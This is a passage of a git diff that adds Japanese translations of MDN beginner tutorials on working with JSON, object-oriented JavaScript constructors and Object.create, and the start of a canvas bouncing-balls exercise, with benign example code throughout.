href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code#The_standard_for_loop">for ループ</a>を使って配列の個々のオブジェクトについてループしていきます。それぞれについて:</p> + +<ol> + <li>新しい要素をいくつか作ります: <code><article></code> 1つ、<code><h2></code> 1つ、3つの <code><p></code> と1つの <code><ul></code> です。</li> + <li><code><h2></code> の中身を今のヒーローの名前 (<code>name</code>) にします。</li> + <li>3つの <code><p></code> の中身を、それぞれの <code>secretIdentity</code> と <code>age</code>、リストにある情報を紹介していくために「超能力 ("Superpowers:")」で始まる行とします。</li> + <li><code>powers</code> プロパティを <code>superPowers</code> という新しい定数に保存します — この定数は今のヒーローの超能力のリストを持つ配列です。</li> + <li>別の <code>for</code> ループをつかって、今のヒーローの超能力をループします — それぞれに対する <code><li></code> 要素を作成し、超能力をこの要素の中身とし、<code><ul></code>要素(<code>myList</code>変数)の <code>listItem</code> に <code>appendChild()</code> を使って追加します。</li> + <li>最後の最後にやるのは、<code><h2></code>、<code><p></code>、<code><ul></code> を <code><article></code> (<code>myArticle</code>) の中身に追加し、それから <code><article></code> を <code><section></code> の中身に追加します。HTML の中身として表示される順序になりますので、これらの要素が追加された順序は重要です。</li> +</ol> + +<div class="note"> +<p><strong>付記</strong>: 例を動かしてみるのに問題があったら、<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> ソースコードを参照して見て下さい(こちらで <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">ライブ実行</a> もできます)。</p> +</div> + +<div class="note"> +<p><strong>付記</strong>: もし JavaScript オブジェクトにアクセスするのに使っているドット/ブラケット記法をなぞっていくのが難しければ、<a href="http://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json">superheroes.json</a> のファイルを別のタブやテキストエディタで開いておいて、JavaScript と並べて読んでいくとわかりやすいかもしれません。<a href="/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a> 記事にも戻って、ドット/ブラケット記法について読み返してみてください。</p> +</div> + +<h2 id="Converting_between_objects_and_text" name="Converting_between_objects_and_text">オブジェクトとテキスト間の変換</h2> + +<p>上の例は XHR リクエストで JSON レスポンスを直接JavaScript オブジェクトに変換していたので、JavaScript オブジェクトへのアクセスという面では単純でした。次の部分です:</p> + +<pre class="brush: js notranslate">request.responseType = 'json';</pre> + +<p>時にはこんなにツイていない場合もあります — 時には生の JSON 文字列を受けとり、自分でオブジェクトに変換しなければならない場合もあるでしょう。また JavaScript オブジェクトをネットワーク越しに送信したい場合、送信する前に JSON 文字列に変換しなければならないでしょう。ツイている事に、ウェブ開発でこの二つの問題にはしょっちゅう出くわすので、ブラウザには組込みの <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> オブジェクトが備わっていて、これは以下二つのメソッドを備えています:</p> + +<ul> + <li><code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse">parse()</a></code>: JSON文字列を引数に取り、それに対する JavaScript オブジェクトを返します。</li> + <li><code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify">stringify()</a></code>: オブジェクトを引数に取り、等価な JSON 文字列を返します。</li> +</ul> + +<p>一つめの方の動作例が <a href="http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html">heroes-finished-json-parse.html</a> にあります (<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html">ソース</a> を見て下さい) — ここでは前の方で作成した例と全く同じ事をしていますが、XHR では生の JSON 文字列を返させて、それを <code>parse()</code> で JavaScript オブジェクトに変換しているところだけが異なります。コードの重要な箇所はこの部分です:</p> + +<pre class="brush: js notranslate">request.open('GET', requestURL); +request.responseType = 'text'; // now we're getting a string! +request.send(); + +request.onload = function() { + const superHeroesText = request.response; // get the string from the response + const superHeroes = JSON.parse(superHeroesText); // convert it to an object + populateHeader(superHeroes); + showHeroes(superHeroes); +}</pre> + +<p>で、ご想像の通り <code>stringify()</code> は全く反対の向きに動作します。次の行をブラウザーの JavaScript コンソールに一つずつ打ち込んでいって、実際に動かしてみて下さい:</p> + +<pre class="brush: js notranslate">let myObj = { name: "Chris", age: 38 }; +myObj +let myString = JSON.stringify(myObj); +myString</pre> + +<p>JavaScript オブジェクトを作成してその中身を確認し、次に <code>stringify()</code> を使って JSON 文字列に変換し — 戻り値を新しい変数に保存しています — その値も確認しています。</p> + +<h2 id="Test_your_skills!" name="Test_your_skills!">あなたのスキルをテストしてみましょう!</h2> + +<p>この記事はここまでですが、最も重要な情報を覚えていますか？先に進む前に、この情報を保持しているかどうかを確認するためのテストがいくつかあります — <a href="/ja/docs/Learn/JavaScript/Objects/Test_your_skills:_JSON">Test your skills: JSON</a> を参照してください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この節では、プログラム内で、JSON を生成する、JSON をパースする、JSON データを参照するなど、JSON を扱う方法について簡単に説明しました。次の節では、オブジェクト指向 JavaScript について見ていくことにします。</p> + +<h2 id="See_also" name="See_also">あわせて参照</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON リファレンス</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Web/API/XMLHttpRequest">XMLHttpRequest オブジェクトリファレンス</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">XMLHttpRequest の利用</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Web/HTTP/Methods">HTTP リクエストメソッド</a></li> + <li><a href="http://json.org/">ECMA のオフィシャル JSON Web サイト</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS">初心者のためのオブジェクト指向 JavaScript</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes">Object のプロトタイプ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance">JavaScript での継承</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON データの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_building_practice">オブジェクト作成の練習</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">バウンスボールに機能を追加する</a></li> +</ul> diff --git a/files/ja/learn/javascript/objects/object-oriented_js/index.html b/files/ja/learn/javascript/objects/object-oriented_js/index.html new file mode 100644 index 0000000000..ab99282acb --- /dev/null +++ b/files/ja/learn/javascript/objects/object-oriented_js/index.html @@ -0,0 +1,291 @@ +--- +title: 初心者のためのオブジェクト指向 JavaScript +slug: Learn/JavaScript/Objects/Object-oriented_JS +tags: + - Beginner + - Create + - JavaScript + - OOJS + - OOP + - オブジェクト + - オブジェクト指向 + - 学習 + - 記事 +translation_of: Learn/JavaScript/Objects/Object-oriented_JS +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">基礎が片付いたところで、オブジェクト指向 JavaScript (OOJS) について取り上げます。この記事ではオブジェクト指向プログラミング (OOP) の基本的な視点を説明し、 JavaScript がどのようにコンストラクター関数を通じてオブジェクトクラスをエミュレートしているか、またどのようにオブジェクトインスタンスを生成しているかを紹介します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基礎的なコンピュータリテラシー、基礎的な HTML と CSS の理解、JavaScript (<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>や <a href="/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a>を参照) および OOJS (<a href="/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a>を参照)の基礎知識。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>オブジェクト指向プログラミングの基本理論、どのようにそれが JavaScript (「すべてはオブジェクトである」) に関連しているか、どのようにコンストラクターがオブジェクトインスタンスを生成しているかを理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="Object-oriented_programming_—_the_basics" name="Object-oriented_programming_—_the_basics">オブジェクト指向プログラミング - その基本</h2> + +<p>はじめに、オブジェクト指向プログラミング (OOP) とは何か、シンプルかつ高レベルな視点を提示します。シンプルと述べたのは、OOP はあっという間にひどく複雑になり得るためで、現時点でそのすべてを論じてしまうと、助けとなるよりもむしろ混乱を生んでしまうことでしょう。OOP の基本的な考え方は、プログラムの中で扱いたい、現実世界の事物を模るためにオブジェクトを使用すること、またはそうしなければ使うことが難しいあるいは不可能だった機能にアクセスするための、シンプルな方法を提供することです。</p> + +<p>オブジェクトは、モデル化しようとしている事物に関する情報および、持たせたい機能や動作を表現する、関連したデータとコードを持つことができます。オブジェクトのデータ (しばしば関数も含む) はオブジェクトのパッケージの中 (<strong>名前空間</strong>と呼ばれることがある) に適切に格納されます (<strong>カプセル化</strong>)。オブジェクトは一般に、ネットワークを通じて容易に送信することが可能な、データストアとしても使われます。</p> + +<h3 id="Defining_an_object_template" name="Defining_an_object_template">オブジェクトのテンプレートを定義する</h3> + +<p>学校の生徒と教師の情報を表示する、シンプルなプログラムを考えてみましょう。特定のプログラミング言語の文脈ではなく、OOP 一般の理論を眺めていきます。</p> + +<p>はじめに、<a href="/ja/docs/Learn/JavaScript/Objects/Basics">オブジェクト入門の最初の記事</a>にある、人物の包括的なデータや機能を定義した、Person オブジェクトに戻りましょう。ある人物について知り得る事柄は数多くあります (住所、身長、靴のサイズ、DNA 情報、パスポート番号、顕著な人格特性など) が、このケースでは名前、年齢、性別、趣味を表示することに興味があるだけです。また、このデータに基づいた短い自己紹介や、挨拶をさせられるようにもしましょう。これは<strong>抽象化</strong> — より複雑な事物を、プログラムの目的に沿って簡単に操作できるように、その最も重要な側面を表現する、シンプルなモデルを作ること — として知られています。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13889/person-diagram.png" style="display: block; height: 219px; margin: 0px auto; width: 610px;"></p> + +<h3 id="Creating_actual_objects" name="Creating_actual_objects">実際のオブジェクトの生成</h3> + +<p>このクラスから、<strong>オブジェクトインスタンス</strong>を生成することができます。オブジェクトインスタンスは、クラスで定義されたデータや機能を持ったオブジェクトです。 Person クラスから、何名かの実際の人物を生成します。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15163/MDN-Graphics-instantiation-2-fixed.png" style="display: block; height: 702px; margin: 0px auto; width: 695px;"></p> + +<p>クラスからオブジェクトインスタンスが生成されるとき、クラスの<strong>コンストラクター関数</strong>が生成のために実行されます。クラスからオブジェクトインスタンスが生成される過程を<strong>インスタンス化</strong>と呼びます。オブジェクトインスタンスは、クラスを<strong>インスタンス化</strong>したものです。</p> + +<h3 id="Specialist_classes" name="Specialist_classes">専門のクラス</h3> + +<p>このケースで求めているのは、包括的な人物ではなく、より特定のタイプである、教師と生徒です。OOP では、他のクラスを元にした新しいクラスを作ることができます。これらの新しい<strong>子クラス</strong>は、<strong>親クラス</strong>からデータやコード機能を<strong>継承</strong>することができ、すべてのオブジェクトタイプに共通する機能を、重複させるのではなく、再利用することができます。クラス間で機能が異なる場合は、必要に応じて特殊化された機能を直接定義することができます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13881/MDN-Graphics-inherited-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p> + +<p>これは実に役立ちます。教師と生徒は名前、性別、年齢のように多数の共通機能を共有しており、これらの機能を一度だけ定義すればいいので便利です。異なるクラスで、同じ機能を分けて定義することもでき、その機能の各定義は異なる名前空間に置かれます。例えば、生徒の挨拶は "Yo, I'm [firstName]" (例：<em>Yo, I'm Sam) という形式とし、一方の教師の挨拶は、より形式的に </em>"Hello, my name is [Prefix] [lastName], and I teach [Subject]." (例：<em>Hello, My name is Mr Griffiths, and I teach Chemistry) のように。</em></p> + +<div class="note"> +<p><strong>注</strong>: 同じ機能を複数のオブジェクトタイプが実装する能力のことを示す用語に、<strong>ポリモーフィズム</strong>があります。不思議に感じているかも知れないので念のため。</p> +</div> + +<p>子クラスのオブジェクトインスタンスを生成しましょう。例：</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13885/MDN-Graphics-instantiation-teacher-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p> + +<p>記事の続きでは、OOP 理論が JavaScript でどのように実践されているかを見ていきます。</p> + +<h2 id="Constructors_and_object_instances" name="Constructors_and_object_instances">コンストラクターとオブジェクトインスタンス</h2> + +<p>JavaScript では、オブジェクトやその機能を定義し初期化するために<strong>コンストラクター関数</strong>と呼ばれる特殊な関数を使用します。これは便利です。なぜならオブジェクトをいくつ作成することになるか分からない状況に出くわすでしょうから。コンストラクターは必要な数のオブジェクトを効率的な方法で作成し、必要に応じてデータや関数を付加する手段を提供します。</p> + +<p>JavaScript でコンストラクターを通じてクラスを作り、そこからオブジェクトのインスタンスを生成するところを見ていきましょう。まずは、最初のオブジェクトの記事で見た <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a> ファイルの新しいコピーを、ローカルに作成したおいてください。</p> + +<h3 id="A_simple_example" name="A_simple_example">シンプルな例</h3> + +<ol> + <li>どのように通常の関数で人物を定義できるかを見てみるところから始めましょう。この関数を <code>script</code> 要素の中に加えてください。 + + <pre class="brush: js notranslate">function createNewPerson(name) { + const obj = {}; + obj.name = name; + obj.greeting = function() { + alert('Hi! I\'m ' + obj.name + '.'); + }; + return obj; +}</pre> + </li> + <li>この関数を呼び出すことで、新しい人物を生成することができます。次の 3 行をブラウザーの JavaScript コンソールで試してみてください。 + <pre class="brush: js notranslate">const salva = createNewPerson('Salva'); +salva.name; +salva.greeting();</pre> + これも十分上手くいっていますが、やや長ったらしいです。オブジェクトを生成したいと知っているなら、なぜ明示的に空のオブジェクトを生成し、返すことが必要なのでしょうか？幸いにも、 JavaScript はコンストラクター関数という形で、便利なショートカットを提供してくれます。早速作ってみましょう！</li> + <li>前の関数を、以下のもので置き換えてください。 + <pre class="brush: js notranslate">function Person(name) { + this.name = name; + this.greeting = function() { + alert('Hi! I\'m ' + this.name + '.'); + }; +}</pre> + </li> +</ol> + +<p>コンストラクター関数は、 JavaScript 版のクラスです。それは関数に期待される全ての機能を持っていますが、何も返さないし、明示的にオブジェクトを生成しもしないという点に注意してください。基本的には、プロパティとメソッドを定義するだけです。加えて、 <code>this</code> キーワードが使われていることにも注意してください。基本、オブジェクトインスタンスの 1 つが作成されるときにはいつでも、オブジェクトの <code>name</code> プロパティはコンストラクター呼び出しに渡される name 値と等しくなり、 <code>greeting()</code> メソッドもコンストラクター呼び出しに渡される name 値を使用します。</p> + +<div class="note"> +<p><strong>メモ</strong>: 通常、コンストラクター関数の名前は大文字で始まります。コードの中で、コンストラクター関数がより容易に認識されるようにするための慣習です。</p> +</div> + +<p>では、オブジェクトを生成するために、どのようにコンストラクターを呼び出したらよいでしょうか？</p> + +<ol> + <li>次の 2 行を、前のコードの続きに加えてください。 + <pre class="brush: js notranslate">let person1 = new Person('Bob'); +let person2 = new Person('Sarah');</pre> + </li> + <li>コードを保存し、ブラウザーをリロードして、以下の 4 行を JavaScript コンソールに入れて試してみてください。 + <pre class="brush: js notranslate">person1.name +person1.greeting() +person2.name +person2.greeting()</pre> + </li> +</ol> + +<p>素晴らしい！2 つの新しいオブジェクトが、異なる名前空間の下でページに格納されていることが確認できます。それらのプロパティとメソッドにアクセスするときには、 <code>person1</code> または <code>person2</code> を呼び出すことから始めなければなりません。中に含まれている機能は適切にパッケージ化されており、他の機能と衝突しないようになっています。しかしながら、それらは同じように <code>name</code> プロパティと <code>greeting()</code> メソッドが利用可能です。 2 つのオブジェクトはそれぞれ、生成されたときに割り当てられた、自身の <code>name</code> 値を使っていることに注意してください。これが <code>this</code> を使うことがとても重要である理由の 1 つであり、他の値ではなく、自身の値を使っているのです。</p> + +<p>コンストラクターをもう一度呼び出してみましょう。</p> + +<pre class="brush: js notranslate">let person1 = new Person('Bob'); +let person2 = new Person('Sarah');</pre> + +<p>いずれのケースでも、新しいオブジェクトインスタンスを生成したいとブラウザーに伝えるために <code>new</code> キーワードが使われており、その後に、括弧に必要なパラメーターを入れた関数名が続き、その結果が変数に格納されていて、一般的な関数の呼ばれ方とよく似ています。どちらのインスタンスも、次の定義によって生成されています。</p> + +<pre class="brush: js notranslate">function Person(name) { + this.name = name; + this.greeting = function() { + alert('Hi! I\'m ' + this.name + '.'); + }; +}</pre> + +<p>新しいオブジェクトが生成された後、 <code>person1</code> および <code>person2</code> 変数は、次のオブジェクトを格納しています。</p> + +<pre class="brush: js notranslate">{ + name: 'Bob', + greeting: function() { + alert('Hi! I\'m ' + this.name + '.'); + } +} + +{ + name: 'Sarah', + greeting: function() { + alert('Hi! I\'m ' + this.name + '.'); + } +}</pre> + +<p>コンストラクター関数を呼び出すとき、毎回 <code>greeting()</code> メソッドを定義していることに注意してください。これは理想的ではありません。これを回避するために、代わりにプロトタイプに関数を定義することができます。後で見てみましょう。</p> + +<h3 id="Creating_our_finished_constructor" name="Creating_our_finished_constructor">最終的なコンストラクターの作成</h3> + +<p>上で見てきた例は、スタートのためのシンプルな例に過ぎません。次は最終的な <code>Person()</code> コンストラクター関数を作りましょう。</p> + +<ol> + <li>ここまでに挿入したコードを削除し、代わりとなるコンストラクターを追加してください。これはシンプルな例とほぼ同じもので、ほんのわずか複雑になっているだけです。 + <pre class="brush: js notranslate">function Person(first, last, age, gender, interests) { + this.name = { + first : first, + last : last + }; + this.age = age; + this.gender = gender; + this.interests = interests; + this.bio = function() { + alert(this.name.first + ' ' + this.name.last + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.'); + }; + this.greeting = function() { + alert('Hi! I\'m ' + this.name.first + '.'); + }; +}</pre> + </li> + <li>ではその下に、コンストラクターからオブジェクトインスタンスを生成するため、次の行を追加してください。 + <pre class="brush: js notranslate">let person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre> + </li> +</ol> + +<p>ちょうど以前行ったように、プロパティやメソッドにアクセスできることを確認できます。 JavaScript コンソールの中でやってみましょう。</p> + +<pre class="brush: js notranslate">person1['age'] +person1.interests[1] +person1.bio() +// etc.</pre> + +<div class="note"> +<p><strong>メモ</strong>: もしこの工程で何らかのトラブルがあった場合は、あなたのコードを我々のバージョン (<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-finished.html">oojs-class-finished.html</a>。<a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-finished.html">ライブサンプル</a>も) と比べてみてください。</p> +</div> + +<h3 id="Further_exercises" name="Further_exercises">さらなる練習</h3> + +<p>まずはじめに、さらにいくつかのオブジェクトを生成する独自の行を追加し、オブジェクトインスタンスのメンバーの取得や設定をしてみてください。</p> + +<p>加えて、 <code>bio()</code> メソッドにはいくつかの問題点があります。人物が女性である、あるいは他の優先される性別分類の場合でも、その出力には常に "He" という代名詞が含まれています。また、 bio は <code>interests</code> 配列により多くのものが列挙されていても、2 つの趣味しか含みません。このクラス定義 (コンストラクター) の問題を、あなたはどのように修正することができますか？コンストラクター内に任意のコード (恐らく、いくつかの条件分岐やループが必要となるでしょう) を入れてみてください。性別や、趣味の数が 1、2、あるいは 2 よりも多いかどうかによって、文がどのように構築されるべきか考えてみてください。</p> + +<div class="note"> +<p><strong>注</strong>: もし行き詰まってしまった場合は、<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">GitHub に答えとなるリポジトリ</a> (<a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">ライブ</a>) があります。最初はあなた自身で書いてみてください！</p> +</div> + +<h2 id="Other_ways_to_create_object_instances" name="Other_ways_to_create_object_instances">オブジェクトインスタンスを生成する他の方法</h2> + +<p>ここまで、オブジェクトインスタンスを生成する 2 つの異なる方法を見てきました。<a href="/ja/docs/Learn/JavaScript/Objects/Basics#Object_basics">オブジェクトリテラルの宣言</a>と、上で見たコンストラクター関数の使用です。</p> + +<p>これで十分かもしれませんが、他にも方法はあります。ウェブを巡る際に遭遇したときに備えて、よく知っておいてください。</p> + +<h3 id="The_Object_constructor" name="The_Object_constructor">Object() コンストラクター</h3> + +<p>まず最初に、 <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object">Object()</a></code> コンストラクターを新しいオブジェクトの生成のために使うことができます。はい、一般的なオブジェクトにも、空のオブジェクトを生成するコンストラクターがあります。</p> + +<ol> + <li>このコードを JavaScript コンソールに入力してみましょう。 + <pre class="brush: js notranslate">let person1 = new Object();</pre> + </li> + <li><code>person1</code> 変数に空のオブジェクトが格納されました。このオブジェクトに、ドット記法とブラケット記法を使ってプロパティを追加することができます。次の例を JavaScript コンソールで試してみましょう。 + <pre class="brush: js notranslate">person1.name = 'Chris'; +person1['age'] = 38; +person1.greeting = function() { + alert('Hi! I\'m ' + this.name + '.'); +};</pre> + </li> + <li>あらかじめプロパティやメソッドを設定するため、<code>Object()</code> コンストラクターに引数としてオブジェクトリテラルを渡すことも可能です。次のコードを JavaScript コンソールで試してみてください。 + <pre class="brush: js notranslate">let person1 = new Object({ + name: 'Chris', + age: 38, + greeting: function() { + alert('Hi! I\'m ' + this.name + '.'); + } +});</pre> + </li> +</ol> + +<h3 id="Using_the_create_method" name="Using_the_create_method">create() メソッドの使用</h3> + +<p>コードの順序についてもコンストラクターが助けとなります。コンストラクターを一箇所で作っておくと、必要に応じてインスタンスを生成することができ、それらがどこから来たものであるか、明瞭です。</p> + +<p>しかしながら、特に少数のインスタンスのみを生成する場合に、最初にコンストラクターを作らずにインスタンスを生成することを好む人もいます。JavaScript にはそれを可能とする、<code>create()</code> と呼ばれる組み込みメソッドがあります。それにより、既存のオブジェクトを基にして、新しいオブジェクトを生成することができます。</p> + +<ol> + <li>前のセクションの練習をブラウザーで終えた状態で、こちらを JavaScript コンソールで試してみてください。 + <pre class="brush: js notranslate">let person2 = Object.create(person1);</pre> + </li> + <li>次は以下のコードです。 + <pre class="brush: js notranslate">person2.name; +person2.greeting();</pre> + </li> +</ol> + +<p><code>person1</code> を基に <code>person2</code> が生成され、<code>person2</code> では同じプロパティとメソッドが利用可能であることを確認することができます。</p> + +<p><code>create()</code> には、IE8 が対応していないという制限があります。つまり、コンストラクターは古いブラウザーに対応したい場合により効果的かもしれません。</p> + +<p>いずれ、<code>create()</code> の効果についてより詳細に紹介するつもりです。</p> + +<h2 id="あなたのスキルをテストしてみましょう!">あなたのスキルをテストしてみましょう!</h2> + +<p>この記事はここまでですが、最も重要な情報を覚えていますか？先に進む前に、この情報を保持しているかどうかを確認するために、さらにいくつかのテストを見つけることができます。<a class="new" href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript" rel="nofollow">あなたのスキルをテストする: オブジェクト指向 JavaScript</a> を参照してください。</p> + +<p>この一連のテストは次の記事で紹介する知識に依存していることに注意してください。なので、試してみる前に、まずそれを読んでみるといいかもしれません。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事はオブジェクト指向の理論の概略を見てきました。これですべてではありませんが、ここで扱っていることに関する考えを提示しました。加えて、オブジェクトのインスタンスを生成する様々な方法を見始めたところです。</p> + +<p>次の記事では、 JavaScript オブジェクトのプロトタイプについて紹介します。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics">オブジェクトの基本</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS">初心者のためのオブジェクト指向 JavaScript</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes">Object のプロトタイプ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance">JavaScript での継承</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON データの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_building_practice">オブジェクト作成の練習</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">バウンスボールに機能を追加する</a></li> +</ul> diff --git a/files/ja/learn/javascript/objects/object_building_practice/index.html b/files/ja/learn/javascript/objects/object_building_practice/index.html new file mode 100644 index 0000000000..af94a8eede --- /dev/null +++ b/files/ja/learn/javascript/objects/object_building_practice/index.html @@ -0,0 +1,314 @@ +--- +title: オブジェクト構築の練習 +slug: Learn/JavaScript/Objects/Object_building_practice +tags: + - Article + - Beginner + - Canvas + - CodingScripting + - Guide + - JavaScript + - Learn + - Objects + - Tutorial + - 'l10n:priority' +translation_of: Learn/JavaScript/Objects/Object_building_practice +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">ここまでの記事で JavaScript オブジェクトの根幹部に関する理論と文法の詳細についてすべてを見てきて、始めていくのに十分な基礎固めをしました。この記事では実練習を行ない、独自の JavaScript オブジェクトを作っていくための実践をしていきましょう — 楽しくてカラフルなものを。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基礎的なコンピューターの知識、HTML と CSS への基本的な理解、基礎的な JavaScript の理解 (<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>と <a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a>を参照) とオブジェクト指向JavaScript の基本 (<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks">JavaScript オブジェクトの基本</a>を参照)。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>オブジェクトの使い方とオブジェクト指向のテクニックを実世界のコンテストで練習する。</td> + </tr> + </tbody> +</table> + +<h2 id="Lets_bounce_some_balls" name="Lets_bounce_some_balls">ボールを弾ませよう</h2> + +<p>この記事では伝統的な「弾むボール」のデモを作ってみて、JavaScript でどれほどオブジェクトが役に立つかお見せしましょう。小さなボールは画面じゅうを跳ねまわり、それぞれがぶつかると色が変わります。完成したものはこんな風に見えることでしょう:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13865/bouncing-balls.png" style="display: block; height: 614px; margin: 0px auto; width: 800px;"></p> + +<ol> +</ol> + +<p>この例では画面にボールを描くのに <a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Canvas API</a> を使い、画面をアニメーションさせるのに <a href="/ja/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a> を使います — これらの API について事前の知識は不要です。この記事を読み終わる頃にはこれら API についてもっと知りたくなっているだろうと期待してますが。道中では、イカしたオブジェクトを活用して、ボールを壁で弾ませる、それぞれがぶつかった事を判定する(<strong>衝突判定</strong>という呼び名で知られています)といった上手いテクニックをいくつかお見せしていきます。</p> + +<h2 id="Getting_started" name="Getting_started">始めに</h2> + +<p>始める前に <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index.html">index.html</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css">style.css</a></code>, と <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main.js">main.js</a></code> ファイルのローカルコピーを作成してください。これらにはそれぞれ、以下が含まれています:</p> + +<ol> + <li>とても簡素な HTML文書で、{{HTMLElement("h1")}} 要素と、ボールを描画するための {{HTMLElement("canvas")}} 要素と、この HTML に CSS と JavaScript を適用するための要素だけからなります。</li> + <li>とても簡単なスタイル、主には<code><h1></code>のスタイルとポジションを指定し、スクロールバーやページ端周辺のマージンを消す(素敵にきれいに見せるため)ためのもの。</li> + <li><code><canvas></code>要素を設定し、これから使うことになる汎用の関数を提供する若干の JavaScript。</li> +</ol> + +<p>スクリプトの最初の部分はこんな具合です:</p> + +<pre class="brush: js notranslate">const canvas = document.querySelector('canvas'); + +const ctx = canvas.getContext('2d'); + +const width = canvas.width = window.innerWidth; +const height = canvas.height = window.innerHeight;</pre> + +<p>このスクリプトでは<code><canvas></code>要素への参照を取得し、これに対して <code><a href="/ja/docs/Web/API/HTMLCanvasElement/getContext">getContext()</a></code> メソッドを使って描画していくためのコンテキストを取得します。得られる定数 (<code>ctx</code>) はキャンバスの描画可能領域を直接表現しており、ここに二次元の形状を書き込む事ができます。</p> + +<p>次に <code>width</code> と <code>height</code> 二つの定数をセットし、キャンバス要素の幅と高さ(<code>canvas.width</code> と <code>canvas.height</code> プロパティで表わされます)をブラウザーのビューポートの幅と高さ(ウェブページが表示される領域です — {{domxref("Window.innerWidth")}} と{{domxref("Window.innerHeight")}} プロパティから取得できます)に等しくします。</p> + +<p>変数値をさっと全部同じにするのに、代入が連鎖している事に注意してください — これで全く問題ありません。</p> + +<p>初期化スクリプトの最後の部分はこんなのです:</p> + +<pre class="brush: js notranslate">function random(min, max) { + const num = Math.floor(Math.random() * (max - min + 1)) + min; + return num; +}</pre> + +<p>この関数は二つの数を引数に取り、二つ数の範囲内の乱数を戻します。</p> + +<h2 id="Modeling_a_ball_in_our_program" 